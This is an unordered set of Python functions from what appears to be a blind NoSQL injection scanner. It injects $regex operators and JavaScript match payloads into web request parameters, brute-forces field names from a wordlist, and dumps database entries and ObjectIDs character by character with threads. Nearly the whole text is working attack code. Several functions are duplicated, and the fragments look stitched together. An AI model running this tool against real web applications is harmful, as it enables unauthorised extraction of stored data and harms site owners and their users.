def grabData(self): if len(self.scanner.element_attributes) > 0: if question( "There are already some found attributes. Do you want to find again with this module?" ): self.grabElementAttributes() else: self.grabElementAttributes() if len(self.scanner.element_attributes) > 0: success("Some attributes are present. We can proceed to step 2.") bold("Attributes to be used:") for attribute in self.scanner.element_attributes: bold("- " + attribute) else: failure("No attributes could be found. We cannot dump anything.") return None if len(self.scanner.objectIDs) > 0: if question( "There are already some found IDs. Do you want to find again with this module?" ): self.grabIDs() else: self.grabIDs() if len(self.scanner.objectIDs) == 0: failure("No IDs found. Database may be empty.") return None if len(self.scanner.objectIDs) > 0: success("Some ObjectIDs are present. Proceeding with step 3.") grabbedData = {} for objectID in self.scanner.objectIDs: dump = self.grabDataFromID(objectID) grabbedData[objectID] = dump output = [] for id in grabbedData: output.append(id) dump = grabbedData[id] for attrib in dump: value = dump[attrib]["value"] output.append("\t" + attrib + " : " + str(value)) return ["Element Attributes:"] + self.scanner.element_attributes + [ "", "Object IDs:" ] + self.objectIDs
def dumpEntry(self, var=[], retry=0): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ '\"!#$%&._()*+,-/:;<=>?@{|}[]^`~" i = 0 while True: i += 1 if i > 500: bold("".join(var)) if question("This entry seems abnormally long. Skip it?"): break prev = len(var) threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join() thread = threading.Thread(target=self.dumpEntryChar, args=(var, c)) threads.append(thread) thread.start() for thread in threads: thread.join() if prev == len(var): break entry = "".join(var).replace("\\\\", '\\').replace("\\\'", "'").replace("\\\"", '"') if entry != "": bold("Found an entry: " + entry) self.entries.append(entry) else: failure( "Failed to fetch an entry. Maybe it was a false positive or internet delay?" )
def retrieveMaxLength(self): try: length = 1; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,".{"+str(length)+"}"); #data.pop(self.param); #data[self.param+"[$regex]"] = ".{"+str(length)+"}"; req = self.scanner.sendData(data); check = self.scanner.check(req); while check != "none": if length == 70: if question("Length abnormally long. Do you want to terminate the program?"): return -1; length += 1; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,".{"+str(length)+"}"); #data.pop(self.param); #data[self.param+"[$regex]"] = ".{"+str(length)+"}"; req = self.scanner.sendData(data); check = self.scanner.check(req); success("Retrieved max length: " + str(length-1)); return length-1; except Exception as e: print(e); failure("Failed to retrieve max length."); return -1;
def retrieveMaxLength(self, attribute): try: length = 1 payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\".{" + str(length) + "}\\\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) while self.scanner.check(req) != "none": if length == 70: if question( "Length abnormally long. Do you want to terminate the program?" ): return -1 length += 1 payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\".{" + str(length) + "}\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) success("Retrieved max length: " + str(length - 1)) return length - 1 except Exception as e: print(e) failure("Failed to retrieve max length.") return -1
def grabDataFromID(self, objectID): dump = {} for attribute in self.scanner.element_attributes: if attribute == "_id": continue length = -1 value = None try: testLength = 0 bold("Attempting to retrieve length of " + attribute + " for ID " + objectID) while length == -1: testLength += 1 if testLength == 70: if question( "The length seems unnaturally long. Skip this attribute?" ): break regex = "^" + "." * testLength + "$" payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\"" + regex + "\\\") && this._id.str == '" + objectID) data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) if check != "none": length = testLength success("Retrieved length " + str(testLength) + " for " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve exact length for " + attribute + " for ID " + objectID) try: if length == -1: failure("Failed to retrieve " + attribute + " for ID " + objectID) continue bold("Attempting to retrieve value of " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve value of " + attribute + " for ID " + objectID) dump[attribute] = { "length": length, "value": value } return dump
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure("Failed to fetch any entries.") return None return ["Found Entries:"] + self.entries
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure( "Nothing was retrieved with this module. Maybe false positive?" ) return None return ["Found Entries:"] + self.entries
def testConnection(self): #try: req = self.sendData(self.data) self.status_baseline = req.status_code if str(req.status_code).startswith("4"): failure("Website returned status code " + str(req.status_code) + "!") self.textBaseline = req.text if str(req.status_code).startswith("3"): if question("Redirect to " + req.url + " detected. Follow?"): self.url = req.url return self.testConnection() return True
def grabElementAttributes(self): if len(self.scanner.element_attributes) > 0: if not question( "There were some element attributes previously found. Try finding attributes again?" ): return bold( "A bruteforce method is being used to recover columns. This may take a while." ) file = open("txt/common-columns.txt", "r") common = file.read().strip().split("\n") file.close() threads = [] newAttributes = [] tried = 0 for attribute in common: tried += 1 if tried > self.scanner.maxbrute and self.scanner.maxbrute != 0: info( "Tested for " + str(self.scanner.maxbrute) + " attributes out of " + str(len(common)) + ". Use the -maxbrute flag to increase the number of tests." ) break if len(threads) > self.scanner.maxthreads: threads.pop().join() verbose("Trying attribute " + attribute) thread = threading.Thread(target=self.tryElementAttribute, args=(attribute, newAttributes)) threads.append(thread) thread.start() for thread in threads: thread.join() for attribute in newAttributes: self.scanner.element_attributes.append(attribute)
def grabWord(self,length): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\\\"#$%&'._()*+,-/:;<=>?@{|}[\]^`~" var = []; while len(self.fromVarToString(var)) < length: prev = len(var); threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join(); thread = threading.Thread(target = self.grabLetter, args = (length,var,c)); threads.append(thread); thread.start(); for thread in threads: thread.join(); if prev == len(var): failure("Something went wrong."); if not question("Try again?"): return None; else: var = []; continue; return self.fromVarToString(var);
def handleData(self): strData = self.data if self.method == "get" and strData == "": split = self.url.split("?") if len(split) != 2: failure( "Get request method selected, but url has no get parameters" ) sys.exit(1) else: self.explodeData(split[1]) self.url = split[0] elif self.method == "post": self.explodeData(strData) elif self.method == "json": pass #Already in the correct form. if "/" not in self.url.replace("://", ""): bold("URL: " + self.url) if question( "There is no / in your url. Do you want to add a trailing slash?" ): self.url += "/"
def main(): colinit() banner() #Initiations parsed = extractArgs() scanner = initScanner(parsed) #Test connection to target if scanner.testConnection(): success("URL can be reached.") else: failure(scanner.url + " cannot be reached. Did you forget http://?") sys.exit(1) print() params = scanner.getParams() if "v" in parsed: setVerbose(True) if "p" in parsed: toTest = parsed["p"].split(",") for param in toTest: if param not in params: failure("Param, " + param + " is not provided in your get/post data!") sys.exit(1) params = toTest verbose("Going to test the following parameters:") for param in params: verbose(param) print() bold("Beginning testing phase.") vulnParams = {} tested = 0 for param in params: tested += 1 bold("Testing for param " + param) successes = scanner.testParam(param) if len(successes) > 0: vulnParams[param] = successes success(param + " is injectible.") if tested < len(params): if not question("Continue testing other parameters?"): break print() bold("Test phase completed.") if len(vulnParams) == 0: failure("No vulnerable parameters found.") sys.exit(1) print() success("Vulnerable Parameters:") for param in vulnParams: success(param) for vuln in vulnParams[param]: success("- " + vuln) print() info("Attempting to dump data...") for param in vulnParams: bold("Parameter: " + param) for vuln in vulnParams[param]: print() bold("Attemping dump with " + vuln + " on param " + param) print() dump = scanner.dumpData(param, vuln) if dump == None: print() failure(vuln + " for " + param + " failed to dump.") else: print() success(vuln + " for " + param + " has retrieved:") if type(dump) == type("str"): success("\t" + dump) elif type(dump) == type({}): for key in dump: success("\t" + str(key) + " : " + str(dump[key])) elif type(dump) == type([]): for i in dump: success("\t" + str(i)) print()